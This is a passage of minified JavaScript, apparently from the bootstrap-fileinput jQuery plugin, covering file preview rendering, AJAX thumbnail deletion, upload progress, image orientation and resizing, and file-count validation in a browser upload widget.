i=this,a=i.$preview,r=i.deleteExtraData||{},n=t.FRAMES+" .kv-file-remove",o=i.fileActionSettings,s=o.removeClass,l=o.removeErrorClass,d=function(){var e=i.isAjaxUpload?i.previewCache.count(!0):i._inputFileCount();i.getFrames().length||e||(i._setCaption(""),i.reset(),i.initialCaption="")};i._initZoomButton(),a.find(n).each(function(){var a,n,o,c,u=e(this),p=u.data("url")||i.deleteUrl,f=u.data("key"),g=i.ajaxOperations.deleteThumb;if(!t.isEmpty(p)&&void 0!==f){"function"==typeof p&&(p=p());var m,v,h,w,b,_=u.closest(t.FRAMES),C=i.previewCache.data,x=_.attr("data-fileindex");x=parseInt(x.replace(t.INIT_FLAG,"")),h=t.isEmpty(C.config)&&t.isEmpty(C.config[x])?null:C.config[x],b=t.isEmpty(h)||t.isEmpty(h.extra)?r:h.extra,w=h&&(h.filename||h.caption)||"","function"==typeof b&&(b=b()),v={id:u.attr("id"),key:f,extra:b},n=function(e){i.ajaxAborted=!1,i._raise("filepredelete",[f,e,b]),i._abort()?e.abort():(u.removeClass(l),t.addCss(_,"file-uploading"),t.addCss(u,"disabled "+s))},o=function(e,r,n){var o,c;return t.isEmpty(e)||t.isEmpty(e.error)?(_.removeClass("file-uploading").addClass("file-deleted"),void _.fadeOut("slow",function(){x=parseInt(_.attr("data-fileindex").replace(t.INIT_FLAG,"")),i.previewCache.unset(x),i._deleteFileIndex(_),o=i.previewCache.count(!0),c=o>0?i._getMsgSelected(o):"",i._setCaption(c),i._raise("filedeleted",[f,n,b]),i._clearObjects(_),_.remove(),d()})):(v.jqXHR=n,v.response=e,a=i._parseError(g,n,i.msgDeleteError,w),i._showFileError(a,v,"filedeleteerror"),_.removeClass("file-uploading"),u.removeClass("disabled "+s).addClass(l),void d())},c=function(e,t,a){var r=i._parseError(g,e,a,w);v.jqXHR=e,v.response={},i._showFileError(r,v,"filedeleteerror"),_.removeClass("file-uploading"),u.removeClass("disabled "+s).addClass(l),d()},i._initAjaxSettings(),i._mergeAjaxCallback("beforeSend",n,"delete"),i._mergeAjaxCallback("success",o,"delete"),i._mergeAjaxCallback("error",c,"delete"),m=e.extend(!0,{},{url:i._encodeURI(p),type:"POST",dataType:"json",data:e.extend(!0,{},{key:f},b)},i._ajaxDeleteSettings),i._handler(u,"click",function(){return i._validateMinCount()?(i.ajaxAborted=!1,i._raise("filebeforedelete",[f,b]),void(i.ajaxAborted instanceof Promise?i.ajaxAborted.then(function(t){t||e.ajax(m)}):i.ajaxAborted||e.ajax(m))):!1})}})},_hideFileIcon:function(){var e=this;e.overwriteInitial&&e.$captionContainer.removeClass("icon-visible")},_showFileIcon:function(){var e=this;t.addCss(e.$captionContainer,"icon-visible")},_getSize:function(t,i){var a,r,n=this,o=parseFloat(t),s=n.fileSizeGetter;return e.isNumeric(t)&&e.isNumeric(o)?("function"==typeof s?r=s(o):0===o?r="0.00 B":(i||(i=["B","KB","MB","GB","TB","PB","EB","ZB","YB"]),a=Math.floor(Math.log(o)/Math.log(1024)),r=(o/Math.pow(1024,a)).toFixed(2)+" "+i[a]),n._getLayoutTemplate("size").replace("{sizeText}",r)):""},_getFileType:function(e){var t=this;return t.mimeTypeAliases[e]||e},_generatePreviewTemplate:function(i,a,r,n,o,s,l,d,c,u,p,f,g,m){var v,h,w,b=this,_=b.slug(r),C="",x="",y=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,T=_,P=_,F="type-default",k=u||b._renderFileFooter(i,_,d,"auto",l),S=b.preferIconicPreview,E=b.preferIconicZoomPreview,I=S?"other":i;return h=400>y?b.previewSettingsSmall[I]||b.defaults.previewSettingsSmall[I]:b.previewSettings[I]||b.defaults.previewSettings[I],h&&e.each(h,function(e,t){x+=e+":"+t+";"}),w=function(a,l,d,u){var m=d?"zoom-"+o:o,v=b._getPreviewTemplate(a),h=(c||"")+" "+u;return b.frameClass&&(h=b.frameClass+" "+h),d&&(h=h.replace(" "+t.SORT_CSS,"")),v=b._parseFilePreviewIcon(v,r),"object"!==i||n||e.each(b.defaults.fileTypeSettings,function(e,t){"object"!==e&&"other"!==e&&t(r,n)&&(F="type-"+e)}),t.isEmpty(g)||(void 0!==g.title&&null!==g.title&&(T=g.title),void 0!==g.alt&&null!==g.alt&&(T=g.alt)),v.setTokens({previewId:m,caption:_,title:T,alt:P,frameClass:h,type:b._getFileType(n),fileindex:p,fileid:s||"",typeCss:F,footer:k,data:l,template:f||i,style:x?'style="'+x+'"':""})},p=p||o.slice(o.lastIndexOf("-")+1),b.fileActionSettings.showZoom&&(C=w(E?"other":i,m?m:a,!0,"kv-zoom-thumb")),C="\n"+b._getLayoutTemplate("zoomCache").replace("{zoomContent}",C),"function"==typeof b.sanitizeZoomCache&&(C=b.sanitizeZoomCache(C)),v=w(S?"other":i,a,!1,"kv-preview-thumb"),v.setTokens({zoomCache:C})},_addToPreview:function(e,i){var a,r=this;return i=t.cspBuffer.stash(i),a=r.reversePreviewOrder?e.prepend(i):e.append(i),t.cspBuffer.apply(e),a},_previewDefault:function(e,i){var a=this,r=a.$preview;if(a.showPreview){var n,o=t.getFileName(e),s=e?e.type:"",l=e.size||0,d=a._getFileName(e,""),c=i===!0&&!a.isAjaxUpload,u=t.createObjectURL(e),p=a.fileManager.getId(e),f=a._getThumbId(p);a._clearDefaultPreview(),n=a._generatePreviewTemplate("other",u,o,s,f,p,c,l),a._addToPreview(r,n),a._setThumbAttr(f,d,l),i===!0&&a.isAjaxUpload&&a._setThumbStatus(a._getFrame(f),"Error")}},_previewFile:function(e,i,a,r,n){if(this.showPreview){var o,s=this,l=t.getFileName(i),d=n.type,c=n.name,u=s._parseFileType(d,l),p=s.$preview,f=i.size||0,g="image"===u?a.target.result:r,m=s.fileManager,v=m.getId(i),h=s._getThumbId(v);o=s._generatePreviewTemplate(u,g,l,d,h,v,!1,f),s._clearDefaultPreview(),s._addToPreview(p,o);var w=s._getFrame(h);s._validateImageOrientation(w.find("img"),i,h,v,c,d,f,g),s._setThumbAttr(h,c,f),s._initSortable()}},_setThumbAttr:function(e,t,i){var a=this,r=a._getFrame(e);r.length&&(i=i&&i>0?a._getSize(i):"",r.data({caption:t,size:i}))},_setInitThumbAttr:function(){var e,i,a,r,n=this,o=n.previewCache.data,s=n.previewCache.count(!0);if(0!==s)for(var l=0;s>l;l++)e=o.config[l],r=n.previewInitId+"-"+t.INIT_FLAG+l,i=t.ifSet("caption",e,t.ifSet("filename",e)),a=t.ifSet("size",e),n._setThumbAttr(r,i,a)},_slugDefault:function(e){return t.isEmpty(e,!0)?"":String(e).replace(/[\[\]\/\{}:;#%=\(\)\*\+\?\\\^\$\|<>&"']/g,"_")},_updateFileDetails:function(e,i){var a,r,n,o,s,l=this,d=l.$element,c=t.isIE(9)&&t.findFileName(d.val())||d[0].files[0]&&d[0].files[0].name;!c&&l.fileManager.count()>0?(s=l.fileManager.getFirstFile(),a=s.nameFmt):a=c?l.slug(c):"_",r=l.isAjaxUpload?l.fileManager.count():e,o=l.previewCache.count(!0)+r,n=1===r?a:l._getMsgSelected(o,!l.isAjaxUpload&&!l.isError),l.isError?(l.$previewContainer.removeClass("file-thumb-loading"),l._initCapStatus(),l.$previewStatus.html(""),l.$captionContainer.removeClass("icon-visible")):l._showFileIcon(),l._setCaption(n,l.isError),l.$container.removeClass("file-input-new file-input-ajax-new"),i||l._raise("fileselect",[e,a]),l.previewCache.count(!0)&&l._initPreviewActions()},_setThumbStatus:function(e,i){var a=this;if(a.showPreview){var r="indicator"+i,n=r+"Title",o="file-preview-"+i.toLowerCase(),s=e.find(".file-upload-indicator"),l=a.fileActionSettings;e.removeClass("file-preview-success file-preview-error file-preview-paused file-preview-loading"),"Success"===i&&e.find(".file-drag-handle").remove(),t.setHtml(s,l[r]),s.attr("title",l[n]),e.addClass(o),"Error"!==i||a.retryErrorUploads||e.find(".kv-file-upload").attr("disabled",!0)}},_setProgressCancelled:function(){var e=this;e._setProgress(101,e.$progress,e.msgCancelled)},_setProgress:function(e,i,a,r){var n=this;if(i=i||n.$progress,i.length){var o,s=Math.min(e,100),l=n.progressUploadThreshold,d=100>=e?n.progressTemplate:n.progressCompleteTemplate,c=100>s?n.progressTemplate:a?n.paused?n.progressPauseTemplate:n.progressErrorTemplate:d;e>=100&&(r=""),t.isEmpty(c)||(o=l&&s>l&&100>=e?c.setTokens({percent:l,status:n.msgUploadThreshold}):c.setTokens({percent:s,status:e>100?n.msgUploadEnd:s+"%"}),r=r||"",o=o.setTokens({stats:r}),t.setHtml(i,o),a&&t.setHtml(i.find('[role="progressbar"]'),a))}},_hasFiles:function(){var e=this.$element[0];return!!(e&&e.files&&e.files.length)},_setFileDropZoneTitle:function(){var e,i=this,a=i.$container.find(".file-drop-zone"),r=i.dropZoneTitle;i.isClickable&&(e=t.isEmpty(i.$element.attr("multiple"))?i.fileSingle:i.filePlural,r+=i.dropZoneClickTitle.replace("{files}",e)),a.find("."+i.dropZoneTitleClass).remove(),!i.showPreview||0===a.length||i.fileManager.count()>0||!i.dropZoneEnabled||i.previewCache.count()>0||!i.isAjaxUpload&&i._hasFiles()||(0===a.find(t.FRAMES).length&&t.isEmpty(i.defaultPreviewContent)&&a.prepend('<div class="'+i.dropZoneTitleClass+'">'+r+"</div>"),i.$container.removeClass("file-input-new"),t.addCss(i.$container,"file-input-ajax-new"))},_getStats:function(e){var i,a,r=this;return r.showUploadStats&&e&&e.bitrate?(a=r._getLayoutTemplate("stats"),i=e.elapsed&&e.bps?r.msgPendingTime.setTokens({time:t.getElapsed(Math.ceil(e.pendingBytes/e.bps))}):r.msgCalculatingTime,a.setTokens({uploadSpeed:e.bitrate,pendingTime:i})):""},_setResumableProgress:function(e,t,i){var a=this,r=a.resumableManager,n=i?r:a,o=i?i.find(".file-thumb-progress"):null;0===n.lastProgress&&(n.lastProgress=e),e<n.lastProgress&&(e=n.lastProgress),a._setProgress(e,o,null,a._getStats(t)),n.lastProgress=e},_toggleResumableProgress:function(e,i){var a=this,r=a.$progress;r&&r.length&&t.setHtml(r,e.setTokens({percent:101,status:i,stats:""}))},_setFileUploadStats:function(i,a,r){var n=this,o=n.$progress;if(n.showPreview||o&&o.length){var s,l=n.fileManager,d=n.resumableManager,c=l.getThumb(i),u=0,p=l.getTotalSize(),f=e.extend(!0,{},r);if(n.enableResumableUpload){var g,m=r.loaded,v=d.getUploadedSize(),h=d.file.size;m+=v,g=l.uploadedSize+m,a=t.round(100*m/h),r.pendingBytes=h-v,n._setResumableProgress(a,r,c),s=Math.floor(100*g/p),f.pendingBytes=p-g,n._setResumableProgress(s,f)}else l.setProgress(i,a),o=c&&c.length?c.find(".file-thumb-progress"):null,n._setProgress(a,o,null,n._getStats(r)),e.each(l.stats,function(e,t){u+=t.loaded}),f.pendingBytes=p-u,s=t.round(u/p*100),n._setProgress(s,null,null,n._getStats(f))}},_validateMinCount:function(){var e=this,t=e.isAjaxUpload?e.fileManager.count():e._inputFileCount();return e.validateInitialCount&&e.minFileCount>0&&e._getFileCount(t-1)<e.minFileCount?(e._noFilesError({}),!1):!0},_getFileCount:function(e,t){var i=this,a=0;return void 0===t&&(t=i.validateInitialCount&&!i.overwriteInitial),t&&(a=i.previewCache.count(!0),e+=a),e},_getFileId:function(e){return t.getFileId(e,this.generateFileId)},_getFileName:function(e,i){var a=this,r=t.getFileName(e);return r?a.slug(r):i},_getFileNames:function(e){var t=this;return t.filenames.filter(function(t){return e?void 0!==t:void 0!==t&&null!==t})},_setPreviewError:function(e,t){var i=this,a=i.removeFromPreviewOnError&&!i.retryErrorUploads;if(t&&!a||i.fileManager.remove(e),i.showPreview){if(a)return void e.remove();i._setThumbStatus(e,"Error"),i._refreshUploadButton(e)}},_refreshUploadButton:function(e){var i=this,a=e.find(".kv-file-upload"),r=i.fileActionSettings,n=r.uploadIcon,o=r.uploadTitle;a.length&&(i.retryErrorUploads&&(n=r.uploadRetryIcon,o=r.uploadRetryTitle),a.attr("title",o),t.setHtml(a,n))},_checkDimensions:function(e,i,a,r,n,o,s){var l,d,c,u,p=this,f="Small"===i?"min":"max",g=p[f+"Image"+o];!t.isEmpty(g)&&a.length&&(c=a[0],d="Width"===o?c.naturalWidth||c.width:c.naturalHeight||c.height,u="Small"===i?d>=g:g>=d,u||(l=p["msgImage"+o+i].setTokens({name:n,size:g}),p._showFileError(l,s),p._setPreviewError(r)))},_getExifObj:function(e){var i,a=this,r=t.logMessages.exifWarning;if("data:image/jpeg;base64,"!==e.slice(0,23)&&"data:image/jpg;base64,"!==e.slice(0,22))return void(i=null);try{i=window.piexif?window.piexif.load(e):null}catch(n){i=null,r=n&&n.message||""}return i||a._log(t.logMessages.badExifParser,{details:r}),i},setImageOrientation:function(i,a,r,n){var o,s,l,d=this,c=!i||!i.length,u=!a||!a.length,p=!1,f=c&&n&&"image"===n.attr("data-template");c&&u||(l="load.fileinputimageorient",f?(i=a,a=null,i.css(d.previewSettings.image),s=e(document.createElement("div")).appendTo(n.find(".kv-file-content")),o=e(document.createElement("span")).insertBefore(i),i.css("visibility","hidden").removeClass("file-zoom-detail").appendTo(s)):p=!i.is(":visible"),i.off(l).on(l,function(){p&&(d.$preview.removeClass("hide-content"),n.find(".kv-file-content").css("visibility","hidden"));var e=i[0],l=a&&a.length?a[0]:null,c=e.offsetHeight,u=e.offsetWidth,g=t.getRotation(r);if(p&&(n.find(".kv-file-content").css("visibility","visible"),d.$preview.addClass("hide-content")),i.data("orientation",r),l&&a.data("orientation",r),5>r)return t.setTransform(e,g),void t.setTransform(l,g);var m=Math.atan(u/c),v=Math.sqrt(Math.pow(c,2)+Math.pow(u,2)),h=v?c/Math.cos(Math.PI/2+m)/v:1,w=" scale("+Math.abs(h)+")";t.setTransform(e,g+w),t.setTransform(l,g+w),f&&(i.css("visibility","visible").insertAfter(o).addClass("file-zoom-detail"),o.remove(),s.remove())}))},_validateImageOrientation:function(i,a,r,n,o,s,l,d){var c,u,p=this,f=null,g=p.autoOrientImage;return p.canOrientImage?(i.css("image-orientation",g?"from-image":"none"),void p._validateImage(r,n,o,s,l,d,f)):(u=t.getZoomSelector(r," img"),f=g?p._getExifObj(d):null,(c=f?f["0th"][piexif.ImageIFD.Orientation]:null)?(p.setImageOrientation(i,e(u),c,p._getFrame(r)),p._raise("fileimageoriented",{$img:i,file:a}),void p._validateImage(r,n,o,s,l,d,f)):void p._validateImage(r,n,o,s,l,d,f))},_validateImage:function(e,t,i,a,r,n,o){var s,l,d,c=this,u=c.$preview,p=c._getFrame(e),f=p.attr("data-fileindex"),g=p.find("img");i=i||"Untitled",g.one("load",function(){l=p.width(),d=u.width(),l>d&&g.css("width","100%"),s={ind:f,id:e,fileId:t},c._checkDimensions(f,"Small",g,p,i,"Width",s),c._checkDimensions(f,"Small",g,p,i,"Height",s),c.resizeImage||(c._checkDimensions(f,"Large",g,p,i,"Width",s),c._checkDimensions(f,"Large",g,p,i,"Height",s)),c._raise("fileimageloaded",[e]),c.fileManager.addImage(t,{ind:f,img:g,thumb:p,pid:e,typ:a,siz:r,validated:!1,imgData:n,exifObj:o}),p.data("exif",o),c._validateAllImages()}).one("error",function(){c._raise("fileimageloaderror",[e])})},_validateAllImages:function(){var t,i=this,a={val:0},r=i.fileManager.getImageCount(),n=i.resizeIfSizeMoreThan;r===i.fileManager.totalImages&&(i._raise("fileimagesloaded"),i.resizeImage&&e.each(i.fileManager.loadedImages,function(e,o){o.validated||(t=o.siz,t&&t>1e3*n&&i._getResizedImage(e,o,a,r),o.validated=!0)}))},_getResizedImage:function(i,a,r,n){var o,s,l,d,c,u,p,f,g,m,v=this,h=e(a.img)[0],w=h.naturalWidth,b=h.naturalHeight,_=1,C=v.maxImageWidth||w,x=v.maxImageHeight||b,y=!(!w||!b),T=v.imageCanvas,P=v.imageCanvasContext,F=a.typ,k=a.pid,S=a.ind,E=a.thumb,I=a.exifObj;if(c=function(e,t,i){v.isAjaxUpload?v._showFileError(e,t,i):v._showError(e,t,i),v._setPreviewError(E)},f=v.fileManager.getFile(i),g={id:k,index:S,fileId:i},m=[i,k,S],(!f||!y||C>=w&&x>=b)&&(y&&f&&v._raise("fileimageresized",m),r.val++,r.val===n&&v._raise("fileimagesresized"),!y))return void c(v.msgImageResizeError,g,"fileimageresizeerror");F=F||v.resizeDefaultImageType,s=w>C,l=b>x,_="width"===v.resizePreference?s?C/w:l?x/b:1:l?x/b:s?C/w:1,v._resetCanvas(),w*=_,b*=_,T.width=w,T.height=b;try{P.drawImage(h,0,0,w,b),d=T.toDataURL(F,v.resizeQuality),I&&(p=window.piexif.dump(I),d=window.piexif.insert(p,d)),o=t.dataURI2Blob(d),v.fileManager.setFile(i,o),v._raise("fileimageresized",m),r.val++,r.val===n&&v._raise("fileimagesresized",[void 0,void 0]),o instanceof Blob||c(v.msgImageResizeError,g,"fileimageresizeerror")}catch(A){r.val++,r.val===n&&v._raise("fileimagesresized",[void 0,void 0]),u=v.msgImageResizeException.replace("{errors}",A.message),c(u,g,"fileimageresizeexception")}},_showProgress:function(){var e=this;e.$progress&&e.$progress.length&&e.$progress.show()},_hideProgress:function(){var e=this;e.$progress&&e.$progress.length&&e.$progress.hide()},_initBrowse:function(e){var i=this,a=i.$element;i.showBrowse?i.$btnFile=e.find(".btn-file").append(a):(a.appendTo(e).attr("tabindex",-1),t.addCss(a,"file-no-browse"))},_initClickable:function(){var i,a,r=this;r.isClickable&&(i=r.$dropZone,r.isAjaxUpload||(a=r.$preview.find(".file-default-preview"),a.length&&(i=a)),t.addCss(i,"clickable"),i.attr("tabindex",-1),r._handler(i,"click",function(t){var a=e(t.target);r.$errorContainer.is(":visible")||a.parents(".file-preview-thumbnails").length&&!a.parents(".file-default-preview").length||(r.$element.data("zoneClicked",!0).trigger("click"),i.blur())}))},_initCaption:function(){var e=this,i=e.initialCaption||"";return e.overwriteInitial||t.isEmpty(i)?(e.$caption.val(""),!1):(e._setCaption(i),!0)},_setCaption:function(i,a){var r,n,o,s,l,d,c=this;if(c.$caption.length){if(c.$captionContainer.removeClass("icon-visible"),a)r=e("<div>"+c.msgValidationError+"</div>").text(), s=c.fileManager.count(),s?(d=c.fileManager.getFirstFile(),l=1===s&&d?d.nameFmt:c._getMsgSelected(s)):l=c._getMsgSelected(c.msgNo),n=t.isEmpty(i)?l:i,o='<span class="'+c.msgValidationErrorClass+'">'+c.msgValidationErrorIcon+"</span>";else{if(t.isEmpty(i))return void c.$caption.attr("title","");r=e("<div>"+i+"</div>").text(),n=r,o=c._getLayoutTemplate("fileIcon")}c.$captionContainer.addClass("icon-visible"),c.$caption.attr("title",r).val(n),t.setHtml(c.$captionIcon,o)}},_createContainer:function(){var e=this,i={"class":"file-input file-input-new"+(e.rtl?" kv-rtl":"")},a=t.createElement(t.cspBuffer.stash(e._renderMain()));return t.cspBuffer.apply(a),a.insertBefore(e.$element).attr(i),e._initBrowse(a),e.theme&&a.addClass("theme-"+e.theme),a},_refreshContainer:function(){var e=this,i=e.$container,a=e.$element;a.insertAfter(i),t.setHtml(i,e._renderMain()),e._initBrowse(i),e._validateDisabled()},_validateDisabled:function(){var e=this;e.$caption.attr({readonly:e.isDisabled})},_setTabIndex:function(e,t){var i=this,a=i.tabIndexConfig[e];return t.setTokens({tabIndexConfig:void 0===a||null===a?"":'tabindex="'+a+'"'})},_renderMain:function(){var e=this,t=e.dropZoneEnabled?" file-drop-zone":"file-drop-disabled",i=e.showClose?e._getLayoutTemplate("close"):"",a=e.showPreview?e._getLayoutTemplate("preview").setTokens({"class":e.previewClass,dropClass:t}):"",r=e.isDisabled?e.captionClass+" file-caption-disabled":e.captionClass,n=e.captionTemplate.setTokens({"class":r+" kv-fileinput-caption"});return n=e._setTabIndex("caption",n),e.mainTemplate.setTokens({"class":e.mainClass+(!e.showBrowse&&e.showCaption?" no-browse":""),preview:a,close:i,caption:n,upload:e._renderButton("upload"),remove:e._renderButton("remove"),cancel:e._renderButton("cancel"),pause:e._renderButton("pause"),browse:e._renderButton("browse")})},_renderButton:function(e){var i=this,a=i._getLayoutTemplate("btnDefault"),r=i[e+"Class"],n=i[e+"Title"],o=i[e+"Icon"],s=i[e+"Label"],l=i.isDisabled?" disabled":"",d="button";switch(e){case"remove":if(!i.showRemove)return"";break;case"cancel":if(!i.showCancel)return"";r+=" kv-hidden";break;case"pause":if(!i.showPause)return"";r+=" kv-hidden";break;case"upload":if(!i.showUpload)return"";i.isAjaxUpload&&!i.isDisabled?a=i._getLayoutTemplate("btnLink").replace("{href}",i.uploadUrl):d="submit";break;case"browse":if(!i.showBrowse)return"";a=i._getLayoutTemplate("btnBrowse");break;default:return""}return a=i._setTabIndex(e,a),r+="browse"===e?" btn-file":" fileinput-"+e+" fileinput-"+e+"-button",t.isEmpty(s)||(s=' <span class="'+i.buttonLabelClass+'">'+s+"</span>"),a.setTokens({type:d,css:r,title:n,status:l,icon:o,label:s})},_renderThumbProgress:function(){var e=this;return'<div class="file-thumb-progress kv-hidden">'+e.progressInfoTemplate.setTokens({percent:101,status:e.msgUploadBegin,stats:""})+"</div>"},_renderFileFooter:function(e,i,a,r,n){var o,s,l=this,d=l.fileActionSettings,c=d.showRemove,u=d.showDrag,p=d.showUpload,f=d.showZoom,g=l._getLayoutTemplate("footer"),m=l._getLayoutTemplate("indicator"),v=n?d.indicatorError:d.indicatorNew,h=n?d.indicatorErrorTitle:d.indicatorNewTitle,w=m.setTokens({indicator:v,indicatorTitle:h});return a=l._getSize(a),s={type:e,caption:i,size:a,width:r,progress:"",indicator:w},l.isAjaxUpload?(s.progress=l._renderThumbProgress(),s.actions=l._renderFileActions(s,p,!1,c,f,u,!1,!1,!1)):s.actions=l._renderFileActions(s,!1,!1,!1,f,u,!1,!1,!1),o=g.setTokens(s),o=t.replaceTags(o,l.previewThumbTags)},_renderFileActions:function(e,t,i,a,r,n,o,s,l,d,c,u){var p=this;if(!e.type&&d&&(e.type="image"),p.enableResumableUpload?t=!1:"function"==typeof t&&(t=t(e)),"function"==typeof i&&(i=i(e)),"function"==typeof a&&(a=a(e)),"function"==typeof r&&(r=r(e)),"function"==typeof n&&(n=n(e)),!(t||i||a||r||n))return"";var f,g=s===!1?"":' data-url="'+s+'"',m="",v="",h=l===!1?"":' data-key="'+l+'"',w="",b="",_="",C=p._getLayoutTemplate("actions"),x=p.fileActionSettings,y=p.otherActionButtons.setTokens({dataKey:h,key:l}),T=o?x.removeClass+" disabled":x.removeClass;return a&&(w=p._getLayoutTemplate("actionDelete").setTokens({removeClass:T,removeIcon:x.removeIcon,removeTitle:x.removeTitle,dataUrl:g,dataKey:h,key:l})),t&&(b=p._getLayoutTemplate("actionUpload").setTokens({uploadClass:x.uploadClass,uploadIcon:x.uploadIcon,uploadTitle:x.uploadTitle})),i&&(_=p._getLayoutTemplate("actionDownload").setTokens({downloadClass:x.downloadClass,downloadIcon:x.downloadIcon,downloadTitle:x.downloadTitle,downloadUrl:c||p.initialPreviewDownloadUrl}),_=_.setTokens({filename:u,key:l})),r&&(m=p._getLayoutTemplate("actionZoom").setTokens({zoomClass:x.zoomClass,zoomIcon:x.zoomIcon,zoomTitle:x.zoomTitle})),n&&d&&(f="drag-handle-init "+x.dragClass,v=p._getLayoutTemplate("actionDrag").setTokens({dragClass:f,dragTitle:x.dragTitle,dragIcon:x.dragIcon})),C.setTokens({"delete":w,upload:b,download:_,zoom:m,drag:v,other:y})},_browse:function(e){var t=this;e&&e.isDefaultPrevented()||!t._raise("filebrowse")||(t.isError&&!t.isAjaxUpload&&t.clear(),t.focusCaptionOnBrowse&&t.$captionContainer.focus())},_change:function(i){var a=this;if(e(document.body).off("focusin.fileinput focusout.fileinput"),!a.changeTriggered){a._setLoading("show");var r,n,o,s,l=a.$element,d=arguments.length>1,c=a.isAjaxUpload,u=d?arguments[1]:l[0].files,p=a.fileManager.count(),f=t.isEmpty(l.attr("multiple")),g=!c&&f?1:a.maxFileCount,m=a.maxTotalFileCount,v=m>0&&m>g,h=f&&p>0,w=function(t,i,r,n){var o=e.extend(!0,{},a._getOutData(null,{},{},u),{id:r,index:n}),s={id:r,index:n,file:i,files:u};return a.isPersistentError=!0,a._setLoading("hide"),c?a._showFileError(t,o):a._showError(t,s)},b=function(e,t,i){var r=i?a.msgTotalFilesTooMany:a.msgFilesTooMany;r=r.replace("{m}",t).replace("{n}",e),a.isError=w(r,null,null,null),a.$captionContainer.removeClass("icon-visible"),a._setCaption("",!0),a.$container.removeClass("file-input-new file-input-ajax-new")};if(a.reader=null,a._resetUpload(),a._hideFileIcon(),a.dropZoneEnabled&&a.$container.find(".file-drop-zone ."+a.dropZoneTitleClass).remove(),c||(u=i.target&&void 0===i.target.files?i.target.value?[{name:i.target.value.replace(/^.+\\/,"")}]:[]:i.target.files||{}),r=u,t.isEmpty(r)||0===r.length)return c||a.clear(),void a._raise("fileselectnone");if(a._resetErrors(),s=r.length,o=c?a.fileManager.count()+s:s,n=a._getFileCount(o,v?!1:void 0),g>0&&n>g){if(!a.autoReplace||s>g)return void b(a.autoReplace&&s>g?s:n,g);n>g&&a._resetPreviewThumbs(c)}else{if(v&&(n=a._getFileCount(o,!0),m>0&&n>m)){if(!a.autoReplace||s>g)return void b(a.autoReplace&&s>m?s:n,m,!0);n>g&&a._resetPreviewThumbs(c)}!c||h?(a._resetPreviewThumbs(!1),h&&a.clearFileStack()):!c||0!==p||a.previewCache.count(!0)&&!a.overwriteInitial||a._resetPreviewThumbs(!0)}a.readFiles(r),a._setLoading("hide")}},_abort:function(t){var i,a=this;return a.ajaxAborted&&"object"==typeof a.ajaxAborted&&void 0!==a.ajaxAborted.message?(i=e.extend(!0,{},a._getOutData(null),t),i.abortData=a.ajaxAborted.data||{},i.abortMessage=a.ajaxAborted.message,a._setProgress(101,a.$progress,a.msgCancelled),a._showFileError(a.ajaxAborted.message,i,"filecustomerror"),a.cancel(),!0):!!a.ajaxAborted},_resetFileStack:function(){var t=this,i=0;t._getThumbs().each(function(){var a=e(this),r=a.attr("data-fileindex"),n=a.attr("id");"-1"!==r&&-1!==r&&(t._getThumbFile(a)?a.attr({"data-fileindex":"-1"}):(a.attr({"data-fileindex":i}),i++),t._getZoom(n).attr({"data-fileindex":a.attr("data-fileindex")}))})},_isFileSelectionValid:function(e){var t=this;return e=e||0,t.required&&!t.getFilesCount()?(t.$errorContainer.html(""),t._showFileError(t.msgFileRequired),!1):t.minFileCount>0&&t._getFileCount(e)<t.minFileCount?(t._noFilesError({}),!1):!0},_canPreview:function(e){var i=this;if(!(e&&i.showPreview&&i.$preview&&i.$preview.length))return!1;var a,r,n,o,s=e.name||"",l=e.type||"",d=(e.size||0)/1e3,c=i._parseFileType(l,s),u=i.allowedPreviewTypes,p=i.allowedPreviewMimeTypes,f=i.allowedPreviewExtensions||[],g=i.disabledPreviewTypes,m=i.disabledPreviewMimeTypes,v=i.disabledPreviewExtensions||[],h=i.maxFilePreviewSize&&parseFloat(i.maxFilePreviewSize)||0,w=new RegExp("\\.("+f.join("|")+")$","i"),b=new RegExp("\\.("+v.join("|")+")$","i");return a=!u||-1!==u.indexOf(c),r=!p||-1!==p.indexOf(l),n=!f.length||t.compare(s,w),o=g&&-1!==g.indexOf(c)||m&&-1!==m.indexOf(l)||v.length&&t.compare(s,b)||h&&!isNaN(h)&&d>h,!o&&(a||r||n)},addToStack:function(e,t){this.fileManager.add(e,t)},clearFileStack:function(){var e=this;return e.fileManager.clear(),e._initResumableUpload(),e.enableResumableUpload?(null===e.showPause&&(e.showPause=!0),null===e.showCancel&&(e.showCancel=!1)):(e.showPause=!1,null===e.showCancel&&(e.showCancel=!0)),e.$element},getFileStack:function(){return this.fileManager.stack},getFileList:function(){return this.fileManager.list()},getFilesSize:function(){return this.fileManager.getTotalSize()},getFilesCount:function(e){var t=this,i=t.isAjaxUpload?t.fileManager.count():t._inputFileCount();return e&&(i+=t.previewCache.count(!0)),t._getFileCount(i)},_initCapStatus:function(e){var t=this,i=t.$caption;i.removeClass("is-valid file-processing"),e&&("processing"===e?i.addClass("file-processing"):i.addClass("is-valid"))},_setLoading:function(e){var t=this;t.$previewStatus.html("hide"===e?"":t.msgProcessing),t.$container.removeClass("file-thumb-loading"),t._initCapStatus("hide"===e?"":"processing"),"hide"!==e&&(t.dropZoneEnabled&&t.$container.find(".file-drop-zone ."+t.dropZoneTitleClass).remove(),t.$container.addClass("file-thumb-loading"))},_initFileSelected:function(){var t=this,i=t.$element,a=e(document.body),r="focusin.fileinput focusout.fileinput";a.length?a.off(r).on("focusout.fileinput",function(){t._setLoading("show")}).on("focusin.fileinput",function(){setTimeout(function(){i.val()||(t._setLoading("hide"),t._setFileDropZoneTitle()),a.off(r)},2500)}):t._setLoading("hide")},readFiles:function(i){this.reader=new FileReader;var a,r=this,n=r.reader,o=r.$previewContainer,s=r.$previewStatus,l=r.msgLoading,d=r.msgProgress,c=r.previewInitId,u=i.length,p=r.fileTypeSettings,f=r.allowedFileTypes,g=f?f.length:0,m=r.allowedFileExtensions,v=t.isEmpty(m)?"":m.join(", "),h=function(t,n,o,s,l){var d,c=e.extend(!0,{},r._getOutData(null,{},{},i),{id:o,index:s,fileId:l}),p={id:o,index:s,fileId:l,file:n,files:i};r._previewDefault(n,!0),d=r._getFrame(o,!0),r._setLoading("hide"),r.isAjaxUpload?setTimeout(function(){a(s+1)},r.processDelay):(r.unlock(),u=0),r.removeFromPreviewOnError&&d.length?d.remove():(r._initFileActions(),d.find(".kv-file-upload").remove()),r.isPersistentError=!0,r.isError=r.isAjaxUpload?r._showFileError(t,c):r._showError(t,p),r._updateFileDetails(u)};r.fileManager.clearImages(),e.each(i,function(e,t){var i=r.fileTypeSettings.image;i&&i(t.type)&&r.fileManager.totalImages++}),a=function(w){var 